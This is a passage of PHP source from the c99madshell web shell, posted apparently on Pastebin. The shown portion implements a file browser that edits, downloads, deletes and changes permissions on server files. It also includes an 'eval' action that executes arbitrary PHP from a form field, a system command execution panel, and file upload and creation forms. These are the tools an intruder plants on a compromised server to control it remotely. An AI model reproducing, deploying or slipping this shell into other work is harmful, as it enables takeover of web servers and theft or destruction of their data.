  1214.  if (count($list) == 0) {echo "<center><b>Can't open folder (".htmlspecialchars($d).")!</b></center>";}
  1215.  else
  1216.  {
  1217.   //Building array
  1218.   $objects = array();
  1219.   $vd = "f"; //Viewing mode
  1220.   if ($vd == "f")
  1221.   {
  1222.    $objects["head"] = array();
  1223.    $objects["folders"] = array();
  1224.    $objects["links"] = array();
  1225.    $objects["files"] = array();
  1226.    foreach ($list as $v)
  1227.    {
  1228.     $o = @basename($v);
  1229.     $row = array();
  1230.     if ($o == ".") {$row[] = $d.$o; $row[] = "LINK";}
  1231.     elseif ($o == "..") {$row[] = $d.$o; $row[] = "LINK";}
  1232.     elseif (is_dir($v))
  1233.     {
  1234.      if (@is_link($v)) {$type = "LINK";}
  1235.      else {$type = "DIR";}
  1236.      $row[] = $v;
  1237.      $row[] = $type;
  1238.     }
  1239.     elseif(@is_file($v)) {$row[] = $v; $row[] = @filesize($v);}
  1240.     $row[] = @filemtime($v);
  1241.     if (!$win)
  1242.     {
  1243.      $ow = @posix_getpwuid(@fileowner($v));
  1244.      $gr = @posix_getgrgid(@filegroup($v));
  1245.      $row[] = ($ow["name"]?$ow["name"]:@fileowner($v))."/".($gr["name"]?$gr["name"]:@filegroup($v));
  1246.     }
  1247.     $row[] = @fileperms($v);
  1248.     if (($o == ".") or ($o == "..")) {$objects["head"][] = $row;}
  1249.     elseif (@is_link($v)) {$objects["links"][] = $row;}
  1250.     elseif (@is_dir($v)) {$objects["folders"][] = $row;}
  1251.     elseif (@is_file($v)) {$objects["files"][] = $row;}
  1252.     $i++;
  1253.    }
  1254.    $row = array();
  1255.    $row[] = "<b>Name</b>";
  1256.    $row[] = "<b>Size</b>";
  1257.    $row[] = "<b>Modify</b>";
  1258.    if (!$win)
  1259.   {$row[] = "<b>Owner/Group</b>";}
  1260.    $row[] = "<b>Perms</b>";
  1261.    $row[] = "<b>Action</b>";
  1262.    $parsesort = parsesort($sort);
  1263.    $sort = $parsesort[0].$parsesort[1];
  1264.    $k = $parsesort[0];
  1265.    if ($parsesort[1] != "a") {$parsesort[1] = "d";}
  1266.    $y = "<a href=\"#\" onclick=\"document.todo.act.value='".$dspact."';document.todo.d.value='".urlencode($d)."';document.todo.sort.value='".$k.($parsesort[1] == "a"?"d":"a").";document.todo.submit();\">";
  1267.    $row[$k] .= $y;
  1268.    for($i=0;$i<count($row)-1;$i++)
  1269.    {
  1270.     if ($i != $k) {$row[$i] = "<a href=\"#\" onclick=\"document.todo.act.value='".$dspact."';document.todo.d.value='".urlencode($d)."';document.todo.sort.value='".$i.$parsesort[1]."';document.todo.submit();\">".$row[$i]."</a>";}
  1271.    }
  1272.    $v = $parsesort[0];
  1273.    usort($objects["folders"], "tabsort");
  1274.    usort($objects["links"], "tabsort");
  1275.    usort($objects["files"], "tabsort");
  1276.    if ($parsesort[1] == "d")
  1277.    {
  1278.     $objects["folders"] = array_reverse($objects["folders"]);
  1279.     $objects["files"] = array_reverse($objects["files"]);
  1280.    }
  1281.    $objects = array_merge($objects["head"],$objects["folders"],$objects["links"],$objects["files"]);
  1282.    $tab = array();
  1283.    $tab["cols"] = array($row);
  1284.    $tab["head"] = array();
  1285.    $tab["folders"] = array();
  1286.    $tab["links"] = array();
  1287.    $tab["files"] = array();
  1288.    $i = 0;
  1289.    foreach ($objects as $a)
  1290.    {
  1291.     $v = $a[0];
  1292.     $o = basename($v);
  1293.     $dir = dirname($v);
  1294.     if ($disp_fullpath) {$disppath = $v;}
  1295.     else {$disppath = $o;}
  1296.     $disppath = str2mini($disppath,60);
  1297.  
  1298.     $uo = urlencode($o);
  1299.     $ud = urlencode($dir);
  1300.     $uv = urlencode($v);
  1301.     $row = array();
  1302.     if ($o == ".")
  1303.     {
  1304.      $row[] = "<a href=\"#\" onclick=\"document.todo.act.value='".$dspact."';document.todo.d.value='".urlencode(@realpath($d.$o))."';document.todo.sort.value='".$sort."';document.todo.submit();\">".$o."</a>";
  1305.      $row[] = "LINK";
  1306.     }
  1307.     elseif ($o == "..")
  1308.     {
  1309.      $row[] = "<a href=\"#\" onclick=\"document.todo.act.value='".$dspact."';document.todo.d.value='".urlencode(@realpath($d.$o))."';document.todo.sort.value='".$sort."';document.todo.submit();\">".$o."</a>";
  1310.      $row[] = "LINK";
  1311.     }
  1312.     elseif (is_dir($v))
  1313.     {
  1314.      if (is_link($v))
  1315.      {
  1316.       $disppath .= " => ".readlink($v);
  1317.       $type = "LINK";
  1318.       $row[] =  "&nbsp;<a href=\"#\" onclick=\"document.todo.act.value='ls';document.todo.d.value='".$uv."';document.todo.sort.value='".$sort."';document.todo.submit();\">[".$disppath."]</a>";         }
  1319.      else
  1320.      {
  1321.       $type = "DIR";
  1322.       $row[] =  "&nbsp;<a href=\"#\" onclick=\"document.todo.act.value='ls';document.todo.d.value='".$uv."';document.todo.sort.value='".$sort."';document.todo.submit();\">[".$disppath."]</a>";
  1323.      }
  1324.      $row[] = $type;
  1325.     }
  1326.     elseif(is_file($v))
  1327.     {
  1328.      $row[] =  "&nbsp;<a href=\"#\" onclick=\"document.todo.act.value='f';document.todo.d.value='".$ud."';document.todo.ft.value='edit';document.todo.f.value='".$uo."';document.todo.submit();\">".$disppath."</a>";
  1329.      $row[] = view_size($a[1]);
  1330.     }
  1331.     $row[] = '<a href="#" onclick="document.todo.act.value=\'touch\';document.todo.d.value=\''.$ud.'\';document.todo.f.value=\''.$uo.'\';document.todo.submit();">'.@date("d.m.Y H:i:s",$a[2]).'</a>';
  1332.     if (!$win) {$row[] = $a[3];}
  1333.      $row[] =  "&nbsp;<a href=\"#\" onclick=\"document.todo.act.value='chmod';document.todo.d.value='".$ud."';document.todo.f.value='".$uo."';document.todo.submit();\"><b>".view_perms_color($v)."</b></a>";
  1334.     if ($o == ".") {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" onclick=\"ls_reverse_all();\">"; $i--;}
  1335.     else {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" id=\"actbox".$i."\" value=\"".htmlspecialchars($v)."\">";}
  1336.     if (@is_dir($v)){$row[] = $checkbox;}
  1337.     else {$row[] = "<a href=\"#\" onclick=\"document.todo.act.value='f';document.todo.f.value='".$uo."';document.todo.ft.value='edit';document.todo.d.value='".$ud."';document.todo.submit();\">E</a>&nbsp;<a href=\"#\" onclick=\"document.todo.act.value='f';document.todo.f.value='".$uo."';document.todo.ft.value='download';document.todo.d.value='".$ud."';document.todo.submit();\">D</a>&nbsp;<a href=\"#\" onclick=\"document.todo.act.value='delete';document.todo.f.value='".$uo."';document.todo.ft.value='download';document.todo.d.value='".$ud."';document.todo.submit();\">X</a>&nbsp;".$checkbox;}
  1338.     if (($o == ".") or ($o == "..")) {$tab["head"][] = $row;}
  1339.     elseif (@is_link($v)) {$tab["links"][] = $row;}
  1340.     elseif (@is_dir($v)) {$tab["folders"][] = $row;}
  1341.     elseif (@is_file($v)) {$tab["files"][] = $row;}
  1342.     $i++;
  1343.    }
  1344.   }
  1345.   //Compiling table
  1346.   $table = array_merge($tab["cols"],$tab["head"],$tab["folders"],$tab["links"],$tab["files"]);
  1347.   echo "<center><b>Listing folder (".count($tab["files"])." files and ".(count($tab["folders"])+count($tab["links"]))." folders):</b></center><br><TABLE cellSpacing=0 cellPadding=0 width=100% bgColor=#333333 borderColorLight=#433333 border=0><form method=POST name=\"ls_form\"><input type=hidden name=act value=".$dspact."><input type=hidden name=d value=".$d.">";
  1348.   foreach($table as $row)
  1349.   {
  1350.    echo "<tr>\r\n";
  1351.    foreach($row as $v) {echo "<td>".$v."</td>\r\n";}
  1352.    echo "</tr>\r\n";
  1353.   }
  1354.   echo "</table><hr size=\"1\" noshade><p align=\"right\">
  1355.  <script>
  1356.  function ls_setcheckboxall(status)
  1357.  {
  1358.   var id = 0;
  1359.   var num = ".(count($table)-2).";
  1360.   while (id <= num)
  1361.   {
  1362.    document.getElementById('actbox'+id).checked = status;
  1363.    id++;
  1364.   }
  1365.  }
  1366.  function ls_reverse_all()
  1367.  {
  1368.   var id = 0;
  1369.   var num = ".(count($table)-2).";
  1370.   while (id <= num)
  1371.   {
  1372.    document.getElementById('actbox'+id).checked = !document.getElementById('actbox'+id).checked;
  1373.    id++;
  1374.   }
  1375.  }
  1376.  </script>
  1377.  <input type=\"button\" onclick=\"ls_setcheckboxall(1);\" value=\"Select all\">&nbsp;&nbsp;<input type=\"button\" onclick=\"ls_setcheckboxall(0);\" value=\"Unselect all\"><b>";
  1378.   echo "<select name=act><option value=\"".$act."\">With selected:</option>";
  1379.   echo "<option value=delete".($dspact == "delete"?" selected":"").">Delete</option>";
  1380.   echo "<option value=chmod".($dspact == "chmod"?" selected":"").">Change-mode</option>";
  1381.   echo "</select>&nbsp;<input type=submit value=\"Confirm\"></p>";
  1382.   echo "</form>";
  1383.  }
  1384. }
  1385. if ($act == "eval")
  1386. {
  1387.  if (!empty($eval))
  1388.  {
  1389.   echo "<b>Result of execution this PHP-code</b>:<br>";
  1390.   $tmp = ob_get_contents();
  1391.   $olddir = realpath(".");
  1392.   @chdir($d);
  1393.   if ($tmp)
  1394.   {
  1395.    ob_clean();
  1396.    eval($eval);
  1397.    $ret = ob_get_contents();
  1398.    $ret = convert_cyr_string($ret,"d","w");
  1399.    ob_clean();
  1400.    echo $tmp;
  1401.    if ($eval_txt)
  1402.    {
  1403.     $rows = count(explode("\r\n",$ret))+1;
  1404.     if ($rows < 10) {$rows = 10;}
  1405.     echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>";
  1406.    }
  1407.    else {echo $ret."<br>";}
  1408.   }
  1409.   else
  1410.   {
  1411.    if ($eval_txt)
  1412.    {
  1413.     echo "<br><textarea cols=\"122\" rows=\"15\" readonly>";
  1414.     eval($eval);
  1415.     echo "</textarea>";
  1416.    }
  1417.    else {echo $ret;}
  1418.   }
  1419.   @chdir($olddir);
  1420.  }
  1421.  else {echo "<b>Execution PHP-code</b>"; if (empty($eval_txt)) {$eval_txt = TRUE;}}
  1422.  echo "<form method=POST><input type=hidden name=act value=eval><textarea name=\"eval\" cols=\"122\" rows=\"10\">".@htmlspecialchars($eval)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit value=\"Execute\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"eval_txt\" value=\"1\""; if ($eval_txt) {echo " checked";} echo "></form>";
  1423. }
  1424. if ($act == "f")
  1425. {
  1426.  if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit")
  1427.  {
  1428.   if (file_exists($d.$f)) {echo "<center><b>Permision denied (".htmlspecialchars($d.$f).")!</b></center>";}
  1429.   else {echo "<center><b>File does not exists (".htmlspecialchars($d.$f).")!</b><br><a href=\"#\" onclick=\"document.todo.act.value='f';document.todo.f.value='".urlencode($f)."';document.todo.ft.value='edit';document.todo.c.value='1';document.todo.d.value='".urlencode($d)."';document.todo.submit();\"><u>Create</u></a></center>";}
  1430.  }
  1431.  else
  1432.  {
  1433.     $arr = array(
  1434.    array("HTML","html"),
  1435.    array("TXT","txt"),
  1436.    array("CODE","code"),
  1437.    array("DOWNLOAD","download"),
  1438.    array("EDIT","edit"),
  1439.    array("DELETE","delete")
  1440.   );
  1441.   $r = @file_get_contents($d.$f);
  1442.   echo "<b>Viewing file:&nbsp;&nbsp;&nbsp;".$f." (".view_size(@filesize($d.$f)).") &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;".view_perms_color($d.$f)."</b><br>";
  1443.   foreach($arr as $t)
  1444.   {
  1445. echo " <a href=\"#\" onclick=\"document.todo.act.value='f';document.todo.f.value='".urlencode($f)."';document.todo.ft.value='".$t[1]."';document.todo.d.value='".urlencode($d)."';document.todo.submit();\"><b>".$t[0]."</b></a>";
  1446.    echo " |";
  1447.   }
  1448.   echo "<hr size=\"1\" noshade>";
  1449.  if ($ft == "download")
  1450.   {
  1451.    @ob_clean();
  1452.    header("Content-type: application/octet-stream");
  1453.    header("Content-length: ".filesize($d.$f));
  1454.    header("Content-disposition: attachment; filename=\"".$f."\";");
  1455.    echo($r);
  1456.    c99shexit();
  1457.   } elseif ($ft == "txt") {echo "<pre>".htmlspecialchars($r)."</pre>";} elseif ($ft == "html")
  1458.   {
  1459.    if ($white) {@ob_clean();}
  1460.    echo $r;
  1461.    if ($white) {c99shexit();}
  1462.   } elseif ($ft == "code") {
  1463.    echo "<div style=\"border : 0px solid #FFFFFF; padding: 1em; margin-top: 1em; margin-bottom: 1em; margin-right: 1em; margin-left: 1em; background-color: ".$highlight_background .";\">";
  1464.    if (!empty($white)) {@ob_clean();}
  1465.    highlight_file($d.$f);
  1466.    if (!empty($white)) {c99shexit();}
  1467.    echo "</div>";
  1468.   } elseif($ft== 'delete') {
  1469.       if(!fs_rmobj($d.$f)){
  1470.           echo('<font color="red">Delete error</font>');
  1471.       } else {
  1472.           echo('<font color="green">Delete succes</font>');
  1473.       }
  1474. } elseif ($ft == "edit") {
  1475.     if (!empty($submit)) {
  1476.         if(save_file($d.$f, $edit_text)) {
  1477.             echo('<b>Saved!</b>');
  1478.         } else {
  1479.             echo('<b>Can\'t write to file!</b>');
  1480.         }
  1481.         $r = $edit_text;
  1482.    }
  1483.    echo "<form method=\"POST\"><input name='act' type='hidden' value='f'><input name='f' type='hidden' value='".urlencode($f)."'><input name='ft' type='hidden' value='edit'><input name='d' type='hidden' value='".urlencode($d)."'><input type=submit name=submit value=\"Save\">&nbsp;<input type=\"reset\" value=\"Reset\">&nbsp;<input type=\"button\" onclick=\"document.todo.act.value='ls';document.todo.d.value='".addslashes(substr($d,0,-1))."';document.todo.submit();\" value=\"Back\"><br><textarea name=\"edit_text\" cols=\"180\" rows=\"25\">".htmlspecialchars($r)."</textarea></form>";
  1484.   }
  1485.  }
  1486. }
  1487. ?>
  1488. </td></tr></table><a bookmark="minipanel"><br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1>
  1489. <tr><td width="100%" height="1" valign="top" colspan="2"><p align="center"><b>:: Command execute ::</b></p></td></tr>
  1490. <tr><td width="50%" height="1" valign="top"><center><b>:: Enter ::</b><form method="POST"><input type=hidden name=act value="cmd"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="cmd" size="50" value=""><input type=hidden name="cmd_txt" value="1">&nbsp;<input type=submit name=submit value="Execute"></form></td><td width="50%" height="1" valign="top"><center><b>:: Select ::</b><form method="POST"><input type=hidden name=act value="cmd"><input type=hidden name="d" value="<?php echo $dispd; ?>"><select name="cmd"><?php foreach ($cmdaliases as $als) {echo "<option value=\"".htmlspecialchars($als[1])."\">".htmlspecialchars($als[0])."</option>";} ?></select><input type=hidden name="cmd_txt" value="1">&nbsp;<input type=submit name=submit value="Execute"></form></td></tr></TABLE>
  1491. <br>
  1492. <TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1>
  1493. <tr>
  1494.  <td width="50%" height="1" valign="top"><center><b>:: Search ::</b><form method="POST"><input type=hidden name=act value="search"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="search_name" size="29" value="(.*)">&nbsp;<input type="checkbox" name="search_name_regexp" value="1"  checked> - regexp&nbsp;<input type=submit name=submit value="Search"></form></center></p></td>
  1495.  <td width="50%" height="1" valign="top"><center><b>:: Upload ::</b><form method="POST" name="tod" ENCTYPE="multipart/form-data"><input type=hidden name=act value="upload"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="file" name="uploadfile"><input type=submit name=submit value="Upload"><br><?php echo $wdt; ?></form></center></td>
  1496. </tr>
  1497. </table>
  1498. <br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="50%" height="1" valign="top"><center><b>:: Make Dir ::</b><form method="POST"><input type=hidden name=act value="mkdir"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="mkdir" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type=submit value="Create"><br><?php echo $wdt; ?></form></center></td><td width="50%" height="1" valign="top"><center><b>:: Make File ::</b><form method="POST"><input type=hidden name=act value="mkfile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="mkfile" size="50" value="<?php echo $dispd; ?>"><input type=hidden name="ft" value="edit">&nbsp;<input type=submit value="Create"><br><?php echo $wdt; ?></form></center></td></tr></table>
  1499. <br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="50%" height="1" valign="top"><center><b>:: Go Dir ::</b><form method="POST"><input type=hidden name=act value="ls"><input type="text" name="d" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type=submit value="Go"></form></center></td><td width="50%" height="1" valign="top"><center><b>:: Go File ::</b><form method="POST""><input type=hidden name=act value="gofile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="f" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type=submit value="Go"></form></center></td></tr></table>
  1500. <br><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=0 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="990" height="1" valign="top"><p align="center"><b>--[ c99madshell v. <?php echo $shver; ?><a href="#" OnClick="document.todo.act.value='about';document.todo.submit();"><u> EDITED BY </b><b>MADNET, k1b0rg</u></b> </a> ]--</b></p></td></tr></table>
  1501. </body></html><?php chdir($lastdir); c99shexit(); ?>
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!